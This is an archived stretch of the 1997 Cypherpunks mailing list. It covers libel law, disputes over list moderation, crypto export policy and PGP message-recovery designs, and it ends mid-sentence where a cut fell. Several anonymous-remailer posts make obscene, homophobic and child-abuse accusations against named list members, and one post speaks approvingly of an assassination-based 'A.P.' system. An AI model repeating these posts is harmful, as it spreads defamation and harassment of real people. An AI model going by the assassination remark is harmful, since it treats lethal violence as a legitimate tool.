No, in general people don't give a crap about the real truth or falsity of
the statement unless it directly impacts them in some manner. What they are
interested in is entertainment, something the law should not provide.

The real issue is whether a Democracy can exist in an environment where
there is no requirement of honesty and truth from its citizens. I would
contend that it can't since the democratic process itself is representative
of those people and their beliefs.

If you really and truly belive a democratic society can exist with no
recognition of and protection for reputation we will just have to respectfuly
disagree.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ubs@mci2000.com
Date: Fri, 31 Jan 1997 15:49:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to get MORE ORDERS for ANYTHING YOU sell!
Message-ID: <01IEVFHJONGE9EGKC0@MAIL-CLUSTER.PCY.MCI.NET>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

Hello!  As an Entrepreneur you may be interested in a LEADING marketing plan!  This plan has worked for many successful entrepreneurs.  For more information, please inquire at:

REPLY TO:               UBS@QualityService.com

SUBJECT LINE:        "Marketing Plan"

This file could mean the online marketing difference between scintillating success and frustrating failure!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 17:15:00 -0800 (PST)
To: hacker@pe.net
Subject: Re: UNSCRIBE
In-Reply-To: <199702010026.QAA01149@pe.net>
Message-ID: <32F2AF22.5B1E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


XaViUs@pe.net wrote:
> 
> UNSCRIBE

  Your message has been received by the CypherPunks list, and we will
shortly be sending a rabbi and a surgeon to UNSCRIBE you.
  In the meantime, please try to keep your foreskin cleansed and
hygenic, in order to prevent infection.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 17:01:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199702010102.TAA02060@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 30 Jan 1997 23:23:18 -0600 (CST)
> From: ichudov@algebra.com
> 
> I can give you an example.
> 
> ``Jim Choate invented an improved bubble sort method, called BSAM.''
> 
> This is undoubtedly false since you likely did not invent any sorting
> method. But you would not be able to get any damages (is that correct?)

Under the present system? Yes, it would not be worth a lawyers time to
process the appropriate paperwork unless I were a computer scientist and the
statement was published in a reputable magazine by something like the ACM or
IEEE.

Under the system I propose you would be forced to publish a public
recantation in the local press as well as paying the legal fees for the
trial at least. Provided of course it was worth the cost of the bond to
me. After all it is my reputation. The only person who should make decisions
about how important my reputation is to me is me, most definitely not you
or any other third party. I suspect you would not allow me to decide your
reputation either.

> When you say "should", what do you mean? That the current law will
> hold you to a minimum standard of evidence?
> Or you mean that it would be nice if it were so?

Neither, the currrent requirements of the law are irrelevant. My premise is
that such current laws are broke, why would I want to promote them? Answer,
I wouldn't. As to 'nice', what is nice isn't an issue. What is necessary is the
recognition that for a democratic society to exist in a world where business
is done based on reputations by parties who may never make more contact
than a email and EFT making statements about such reputations which
are not backed by verifiable evidence should be discouraged strongly.

> > A democratic society should have no tolerence for libel, slander, or other
> > forms of lies.
> 
> Why? And who decides what is a lie?

This is almost too silly to even respond to.

A lie is a statement which could be true but isn't. In the context of the
current discussion this would mean that a statement made by one party about
another party which was told to a third party and was not verifiable with
evidence.

Why should anyone tolerate a liar? Responsible and reasonable people don't
tolerate liars.

Who decides? The same group who decides now, the jury.

> > In civil cases the plaintiff should place a bond, set at some percentage of
> > the maximum permissible award, at the time the case is filed. This would at
> > least cover the general costs of the court and limit nuisance cases.
> > 
> 
> You can either oppose "specieocracy" and inequality of rich and
> poor in libel litigation, or ask to place bonds that will make even
> harder for the poor to sue, BUT NOT BOTH, if you want to remain logical.

This is another clever attempt at a smoke screen. Nice try but 'Brrrrrttt',
you loose the bet. I would suggest you don't play poker, your bluffs are
truly amateurish.

If the plaintiff pays up front or at the end is irrelevant. If the plaintiff
loses they pay the cost of the court. If they win then the defendant pays
the court costs, reimbursment of the bond, and the penalites awarded by the
jury/court. The only reason to require anything up front is to act as a
verification that the plaintiff can pay the court costs (which they get back
if they win and must pay anyway if they loose) up front. The reason being
that it would be possible without this for people to skip out on the court
costs if they loose, which would cause another more expensive cost, a
criminal trial, that the people in general would have to carry. The end
result would be that the taxes we would have to pay would be higher just like
your credit card costs are more expensive than they need to be because of
fraud by other card holders.

I would never attempt to speak for you but I pay too much tax now taking
care of deadbeats and similar sorts.

Further more, the bond would not have to be extravagant. If it were a simple
case of libel with no punitive damages involved it would be resolved by a
small claims court and might require no more than $25 - $50 as a bond. The
point of the bond is to make the plaintiff think twice, not hinder them if
that is what they truly feel is their due.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 19:24:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Degaussing diskettes
Message-ID: <199702010324.TAA00444@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment wears satin lingerie
embroidered with pink swastikas, prancing around for his faggot,
AIDS infected lovers.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 19:10:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <Pine.3.89.9701311005.A14002-0100000@netcom>
Message-ID: <0T0e2D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Z.B." <zachb@netcom.com> writes:
> My computer went into the shop a few days ago, and I was unable to take
> my PGP keys off it before it went in.  What are the security risks here?
> If the repairman chooses to snoop through the files, what would he be
> able to do with my key pair?  Will I need to revoke the key and make a
> new one, or will I be relatively safe since he doesn't have my
> passphrase?

If the keys were protected with a passphrase, then it's unlikely that
someone with access to the disk can use them without the passphrase.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:11:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Source code implementation
Message-ID: <199702010411.UAA12376@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dainty Virus K[ankersore]OTM wears satin lingerie embroidered
with pink swastikas, prancing around for his homosexual, AIDS
infected lovers.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dainty Virus K[ankersore]OTM
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 18:31:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32EF9A5B.5CF1@sk.sympatico.ca>
Message-ID: <32F2C633.44E4@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg,
   I read your missive (cpunks.html). It was interesting and thoughtful,
  despite the lack of ASCII art.
   I thought that I would reply to it by private email, in order to be
  able to speak bluntly, without damaging some of the rather fragile
  egos on the list. On the list I do my best to refrain from personal
  insults toward others, but there sometimes comes a point where the
  mere facts of a matter tend to be insulting to others, despite
  attempts to tippy-toe around them.
 
    Your HTML post does, in fact, deal with some very important points
  in regard to the content of the list.
    So much so, that it points out one of the major reasons that I see
  the moderation/censorship process that has been implemented as a
  deceitful and shoddy treatment of CypherPunk list members.
 
    After years of reaping the rewards of his role of crypto-anarchist-
  privacy-freedom/of/speech champion (which he has every right to),
  John Gilmore decides to declare, "My machine--my list. I'm changing
  it." (He might as well have added, "Anyone who doesn't like it can
  go fuck themselves!")
    John Gilmore effectively said, "I 'AM' the cypherpunks." Despite
  the fact that he rarely posts to it and does not participate in
  the discussions.
 
    And exactly what was the purpose behind the changes?
    Any two imbeciles with a case of beer could have sat down in a
  single evening and hammered out a solution to the problems you
  have addressed.
    Instead, John chose to confiscate the subscribers by giving his
  'new' list the cypherpunks name, instead of building a new list on
  its own merits. And he set it up so that anyone who wants to
  follow what is happening in the moderation/censorship process
  gets 'twice as much' crapola as before.
    The fact is, there is not one, single member who expressed a
  desire to continue receiving the Tim May crapola or the UCE/Spam
  crapola. But the process was set up so that those who choose not
  to receive the edited/moderated/censored list get this shit
  forwarded to them, by design of John and Sandy.
 
    As far as 'censoring' goes, 'people' are being censored, not
  'content'.
   I, among others, am auto-botted to the flames and uncensored
 lists. My 'offense' appears to be questioning the New List
 Order.
   If John, in his 'moderation' announcement, had stated
 that he intended to automatically shit-can certain member's
 postings, he would have lost even what shaky respect he still
 maintains among people who are paying a modicum of attention to
 what is actually transpiring on the list.
 
    To tell the truth, my original concern with Sandy censoring
  the list was that he does not have a particularly good command
  of the English language, and he seems to have trouble grasping
  the concepts involved in moderation/censorship.
    I actually like Sandy, so I was hoping my forebodings would
  turn out to be incorrect, but they have not. I think he is
  in over his head and, as a result, his moderation is close to
  being a joke.
    This is not a 'casual' observation. I have read every single
  message since the start of moderation, and documented the
  censored/uncensored posts, as well as analyzing the headers,
  etc. There are more than a few obtuse things going on behind
  the scenes.
 
    I believe that your view of 60% on-topic but uninteresting
  is a figure fairly close to how more than a few list members
  view the situation, but no one seems to realize that they are
  each talking about a different 60%, which, taken together,
  encompasses the majority of the postings.
    Think of it this way--what if each member was allowed to
  cut-out the 60% that they personally found uninteresting?
  What do you think would be left?
    You seem to be one of the few list members who realizes
  what they gain by having a 'library' of posts that introduce
  them to information and perspectives that broaden their
  horizons.
    I would hate to lose access to your posts because another
  member cut them out as a part of the 60% that s/he found
  'uninteresting'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:52:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FLAME] Making OCR'ed code transfer easier
Message-ID: <199702010452.UAA22634@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimmy Vulis K[ock]OfTheMinute prefers to have sex with little
kids because his own penis is like that of a three-year-old.

      o_o
     (   )  Dimmy Vulis K[ock]OfTheMinute
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:53:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PGP] Libel/slander
Message-ID: <199702010453.UAA22905@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vilus will fuck anything that moves, but he'd rather be
fucking his own daughter's prepubescent body.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Drunkard Vilus
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Liberty, lack of
Message-ID: <199702010453.UAA23004@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Debauchery L[atex] Vaginal does NOT eat pussy. He only eats
asshole if it's got a big dick up in front. Whoever calls him
bisexual is a fucking liar. He likes to suck cocks in front of
an audience.

                /"\
               |\./|
               |   |
               |   |
               |>*<|
               |   |
            /'\|   |/'\
        /'\|   |   |   |
       |   %%%%%   |   |\
       |   |   |   |   |  \    
       | *   *   *   * |>   >   Debauchery L[atex] Vaginal
       |                  /      
        |               /
         |            /
          \          |
           |--/'''\--|
           | |--+= | |
           |--\.../--|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 21:32:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701301837.KAA10125@mail.pacifier.com>
Message-ID: <32F2D4FF.3A84@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:
> >I dare say that the downside of this is much less pleasant than the
> >virtual anarchy (in the bad sense) we suffer now.  If the police get
> >out of control, A.P. will arrive just in time to plug a few of those
> >holes, so to speak.  Ideally, future robotics should be able to provide
> >something like Gort (sp?) to take the place of human officers, given
> >advances in the kind of pattern matching needed to deter aggression and
> >the like.  Those who don't make it past the robots, well, the rest of
> >us can learn to behave, and we'll be much better off when we do.

> Your comparison with the fictional Gort, in the movie "The day the earth
> stood still" is of course apt.  It was only after I'd written most of the
> essay that I realized that an AP-type system would function much as Gort did.

There are some things that just go off in my mind like a light bulb
coming on, and the realization that the system would take care of
itself was one of those things.

> Occasionally we (CP) see a spoof where somebody claims to have developed a
> software program to "replace the judicial system" or something like that.
> Well, the problem with such a claim (aside from the obvious and enormous
> AI-type difficulties) is that the current system contains numerous biases.
> Writing a program to replace the legal system would presumably require that
> these biases be measured (and admitted-to!) and implemented into a
> well-defined system.

There is also a great deal of disinformation in the system, which
leads to a misperception on the public's part about just what those
biases might be.

Examples that come to mind are the OKC bombing and the OJ murders.
In both cases, grand juries composed of middle class people (all or
almost all White in the Simpson case) would not indict based on the
evidence they were given, and so they were dissolved and an excuse
was made up to cover someone's butt.  Now some of the fallout is
blowing in in the form of revelations about the FBI crime lab.

> What we'd discover is that the current system only barely resembles the
> guarantees in the US Constitution. At that point, there would be an argument
> between those who will insist that the Constitution be followed, and those
> who believe that the current de-facto system, however biased, be maintained
> as-is.

I don't see any reason why we can't develop programs to do certain
levels of preliminary analysis in these cases, much like the programs
which have been around for years on PC's, i.e., Mind Prober, Decision
Analyst, and so on.  I gotta believe that teams of people who prepare
these cases are using this stuff anyway, albeit discretely.  If it's
brought out into the open, and the public can look at case facts that
have been processed thru multiple software sites, it would have to be
a helluva lot better than Joe Schmucko's byline in the L.A. Times,
for example.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 22:12:25 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <199701310211.SAA01422@toad.com>
Message-ID: <32F2DE81.A71@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> David E. Smith wrote:
> > My understanding was that the moderator is supposed to ONLY
> > filter out ads and utterly-content-free messages.

>   That seems to be a very common misunderstanding--one which will
> remain without question on the censored list, since they have
> chosen to remain behind the ElectroMagnetic Curtain.

You'll recall that Sandfort (as Logos) ranted without letup about
decorum, decorum, ... ad nauseam, which, now that I look back on
it, is a *very* handy tool for controlling the list.  Logic does
not interfere with decorum, despite the implication of the nym
Logos.

> >  (Mind you, I took the smart out and subbed to cp-unedited,
> > so I'm in no place to judge.)

>   You're in a far better place to judge than those who have
> chosen to remain spoon-fed their world-view.

I just hope your judgement isn't skewed when you don't get some of
the mail, i.e., when the pony breaks down and can't run for awhile.

> > Aha, a good point to be brought up: Sandy, are you autofiltering
> > anyone based on user name, or on certain keywords? Seems to
> > defeat the purpose of having a _human_ moderator.

>   You realize, of course, that your question is moot, since this
> post of yours was already thrown in the crapper/flame-list.
>   It seems that questioning the process is a 'flame'.

The List Lord made it clear "In The Beginning" that some posts would
probably be irretrievably lost due to unavoidable "mistakes".
Think "FBI Crime Lab".  You get the picture.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 22:58:42 -0800 (PST)
To: sameer <sameer@c2.net>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701311357.FAA14264@toad.com>
Message-ID: <3.0.1.32.19970131222916.0064e230@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Sure, it's available.  For most governments, though, 
even DES is enough to threaten their dominance,
though 40-bit is pretty much a joke.
The main impact of US 56-bit products would be that they make
it easier to get crypto built in to unavoidable Microsoft applications*,
	[*If the Borg had any sense....]
as opposed to the totally useless crypto in MS Word, etc.;
users can obviously also use free-world crypto software also,
but you usually have to explicitly go obtain and install that.

With Netscape, even wimpy 40-bit crypto is a threat, 
since almost no country will block you from using it, and
since 128-bit products are readily available overseas,
though you also have to do nonzero work to get them.
Since the two products are interoperable (at the wimpy level),
it's easy to upgrade, and the 40-bit version also works with 
SafePassage.

At 11:50 AM 1/31/97 -0800, sameer wrote:
>> > "Other governments were upset with the 56-bit export allowance. 
>> > They said it was going to undermine their national security."
>> 
>> On this point, the other governments are correct.
>> It really _is_ tougher to maintain a nation-state when your
>> former subjects can have private conversations with each other
>> and with other governments' former subjects......
>> And even 56 bits is a start.
>
>	Full strength crypto is already available worldwide. It makes
>not one iota of difference.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 22:39:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Secure checksums
Message-ID: <199702010639.WAA10088@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


In a jerk-off competition Tim May finishes second, third and fifth.

          ,/         \,
         ((__,-,,,-,__)),
          `--)~   ~(--`
         .-'(       )`-,
         `~~`d\   /b`~~`
             |     |
             (6___6)
              `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 22:42:09 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <199702010618.AAA08230@manifold.algebra.com>
Message-ID: <32F2E564.5611@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > The List Lord made it clear "In The Beginning" that some posts would
> > probably be irretrievably lost due to unavoidable "mistakes".
> > Think "FBI Crime Lab".  You get the picture.

> Remember, Dale, posts really do get lost due to unavoidable mistakes.
> Shit happens, and it certainly happens with all moderators whom I know.

I was *not* speaking of posts headed for the "moderated" list, I was
speaking of posts headed for the un-"moderated" list that would get
lost due to "mistakes".

Now I can understand how a censor could flub something going to a
moderated list, but why the un-moderated list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 22:58:57 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fwd:[Yet another -onics..] [NOISE][POTENTIAL HUMOR]
In-Reply-To: <199702010202.SAA29766@toad.com>
Message-ID: <3.0.1.32.19970131225212.0064dc00@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


We have to stop this tragic corruption of the English language,
to protect our childen's delicate ears and aesthetic sensibilities.
Why, a mere few months ago, I encountered a child of no more than 10
singing along to 
	"You Can Build A Mainframe From The Things You Find At Home" -
corrupted by the adults in his environment into praising equipment that
should never have been built by mankind and should be allowed to lie still,
undiscovered for the rest of history.  And this poor child knew all the words.
Shocking.  Our public schools have clearly failed to educate him correctly.

>> *****************************
>> "GEEKONICS" IS JUST A BEGINNING
>> by John Woestendiek
>> Philadelphia Inquirer
>> Wed., January 8, 1997
>> *****************************
.....
>> Controversial and widely misunderstood, the Geekonics movement was
>> spawned in California's Silicon Valley, where many children have grown
>> up in households headed by computer technicians, programmers, engineers
>> and scientists who have lost ability to speak plain English and have
>> inadvertently passed on their high-tech vernacular to their children.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 31 Jan 1997 23:17:27 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Intelligence Update (fwd)
Message-ID: <v02140b0caf187b4e1487@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>At 11:11 PM 1/30/97 -0800, you wrote:
>>>Note: According to a recently obtained DOJ surveillance training manual:
>>>"The typical range for the 28 ghz devices is six miles, the typical
>>>range of the 2.4 ghz is thirty miles, and the typical range for the
>>>1.7ghz  is 44 miles."
>
>How sure are you about the quality of your sources here?
>I'd expect 1.7ghz and above equipment to require line of sight,
>and even a range of six miles seems really high for a very low power
>device - getting that as "typical" seems pretty unlikely.
>Could all of these figures have been 6, 30, and 44 _meters_ instead? :-)

While these claims may be for links under near ideal conditions, Hams
routinely make very long distace links at 900, 2400 and 5700 MHz during
contests using less than 1 Watt.  Also, our deep space probes operate many
links to earth in this spectral region using low power transmitters.  Of
course they have 200 ft. antennas (e.g., Goldstone) at the receiveing end
with cryogenic reciever front-ends.

Links do become increasingly line-of-sight above 1 GHz this is radio not
visual (i.e., shots through trees. etc.) and there is increasingly the
ability to utilize reflection ("billboard" shots) advantageously.

As frequency increases path loss also increases.  Fortunately, as
frequencies increase antenna gain also increases.  In fact, by holding
antenna dimensions constant (for an arbitrary antenna design, e.g.,
parabolic) gain increases with frequency in direct proportion to increasing
path loss, thus cancelling it out.

There are other factors, such as required S/N or bit error rate for the
particular application, reciever sensitivity and noise floor, and
background noise levels, which directly affect link margins (transmit power
- path loss - reciever sensitivity; all in dB) and thus viability of a
link.  Above 1 GHz terrestrial noise, including that produced by man,
declines rapidly at the moment.  However, as more UHF communication devices
and microprocessors operating at 100s of MHz proliferate that noise floor
is sure to rise.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 31 Jan 1997 23:58:39 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <32F2E564.5611@gte.net>
Message-ID: <Pine.SUN.3.91.970131233634.4007J-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 31 Jan 1997, Dale Thorn wrote:

> I was *not* speaking of posts headed for the "moderated" list, I was
> speaking of posts headed for the un-"moderated" list that would get
> lost due to "mistakes".
> 
> Now I can understand how a censor could flub something going to a
> moderated list, but why the un-moderated list?

Apparently, Dale does not understand the how the list is 
moderated.  When someone posts to Cypherpunks, it automatically
goes to the unedited list.  I am subscribed to the unedited list.
When I read the unedited list, I forward each message I see there
to either the flames list or the moderated list.  I have no 
control over the unedited list.  It goes out to everyone else at
the same time it goes out to me.  I don't have a clue as to what
Dale is talking about.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 02:13:51 +0800
To: tcmay@got.net
Subject: the migration path (was Re: Your "RIGHT" to Speak to Big Brother)
In-Reply-To: <v03102802b071f07a3e09@[207.167.93.63]>
Message-ID: <199702211603.QAA02220@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> "We're also asking loyal Americans within companies to send us the CMR
> secret keys. Companies have no right to keep secrets from government. We
> won't allow a company to have policies which prevent loyal Americans from
> providing information to their government."
> 
> By the way, I think the notion that the government will go to great lengths
> to get CMR secret keys is not far-fetched. Until PGP for Business supports
> a richer system of snoopware keys--and my understanding is that PGP 5.5
> does _not_--then the CMR secret key of, say, Microsoft, would be a prize
> indeed.

I think the CMR public key extension is not limited to one CMR extra
recipient per key.  Closely following discussions on ietf-open-pgp,
and the notes Bill Stewart kindly posted to this list (taken from the
description PGP Inc gave at a meeting in the US) it sounded to me that
there is a migration path like this:

pgp5.0: accepts keys with multiple CMR key requests attached but
	doesn't honour CMR requests (? I hope!), and can't generate keys
	with CMR requests 

pgp5.5: generates keys with single CMR requests, can accept and handle
	keys with multiple CMR requests

pgp6.x: will generate keys with multiple CMR requests (and of course 
	honour them too)

This suggests that the yet to be released pgp6.x (or whatever version
number is chosen) will be able to cater to such government demands
merely by the company generating their keys with two CMR requests:

recovery@acme.com
thoughtpolice@nsa.gov

The NSA can publish their public key on http://www.nsa.gov/ tomorrow,
and the law by presidential decree the day after.  This is the
balanced Sword of Damocles over privacy for real now: this is the 
switch waiting to be flicked.  This is why I am upset with PGP Inc
for using the CMR approach.  It is not CMR per se as a neutral 
mechanism, but it is the approach of building tools which
allow third party access, or "recovery" of communications traffic which
has enabled all of this.

This despite their stated corporate user requirement being storage
recovery.

> This is of course a security weakness of the whole CMR approach, exactly as
> with the key escrow database. It is a too-tempting target. Anyone within a
> company with access to the CMR secret key will be incentivized to sell it.

I agree, it is a centralised security risk.  PGP Inc are talking about
adding secret splitting perhaps, but still it is a security risk.  The
whole technique of sending recovery information over the wire is a
security risk.  Recovery information if there is any should be kept on
local disks and thereby be protected by the companies normal physical
security in the same way that papers in filing cabinets are.  This is
the status quo.  (Well actually no encryption at all locally is
largely the status quo, but pgp5.0 (and I presume pgp5.5) is also able
to encrypt files, and PGP Inc argues more reasonably that their corporate 
clients have a requirement of being able to recover stored encrypted 
files also).

Regardless it is trivial to have local storage recovery without
sending recovery information over the wire.  I'll be posting (web and
list) a security analysis of CMR vs CDR presently; I think CMR loses
badly from even a purely security oriented standpoint.  (I have made
my feelings about the political demerits of CMR as a storage recovery
mechanism known already).

> Of course, Microsoft won't be using PGP for Business. Recall that they may
> have their own "software key escrow" program cooking, based on my
> discussion a few years ago with Tom Albertson (sp?) of Microsoft. Bill
> Gates has issued strongly anti-GAK statements, so maybe this is on hold.

Perhaps this is what they are busy building at their top-sikrit crypto
software development/research center at Cambridge, UK under the
guidance of new head of research cryptographer Roger Needham.  
Looks like an export embargo end-run by Bill Gates.

Maybe Bill Gates is a cypherpunk after all, well we can live in hope,
anyway.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 02:13:51 +0800
To: pgut001@cs.auckland.ac.nz
Subject: GAK "service" charges (Re: EC refutes GAK)
In-Reply-To: <87743538523871@cs26.cs.auckland.ac.nz>
Message-ID: <199702211611.QAA02229@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
> [multiple terabyte CDrom based keying material]

Reckon they'll twig, and charge you per megabyte to offer you the
"service" of allowing them to "recover" your communications in real
time.

At the same time they'll sell the package as "helping businesses to
recover data stored on disks".  

(I never did quite work out how this government mandated and managed
"communications key recovery service" helps you recover stuff stored
on your disk encrypted with storage keys you haven't given them (you
don't give them your real keys do you?)).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 06:06:55 +0800
To: cypherpunks@cyberpass.net
Subject: CDR design document
Message-ID: <199702212255.WAA01213@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Here is a proposal for consideration for inclusion in the OpenPGP
standard:

	http://www.dcs.ex.ac.uk/~aba/cdr/

(Also attached text version below [1])

It describes a mechanism for commercial data recovery which attempts
to minimise the security risks inherent in allowing disaster recovery
of stored encrypted documents.  The CDR design also avoids the
security risks in building systems which send recovery information
over open communications networks, as the CMR proposal currently does.

The CDR design offers the option of more ergonomic recovery from
forgotten passphrase.  CDR allows for more secure use to be made of
the existing pgp5.0 key expiry functionality when applied to
communications-only keys because they can be deleted with out loss of
data-availability, providing a form of PFS which is backwards
compatible with pgp5.0 and pgp5.5 clients.

Comments?

The only change addition to the standard required is to create a
distinction between a storage only key and a communications only key.
This distinction could be made via the use of an extra flag, ideally
so that keyrings can remain standardised and interchangeable between
different implementations.

The document can also be viewed as a recommendation to implementors of
how to avoid security risks (and related government abuse risks) in
implementing data recovery systems.

I would like to see the OpenPGP standard accomodate both the CMR and
CDR design so that each can fly on it's technical merits.  (And
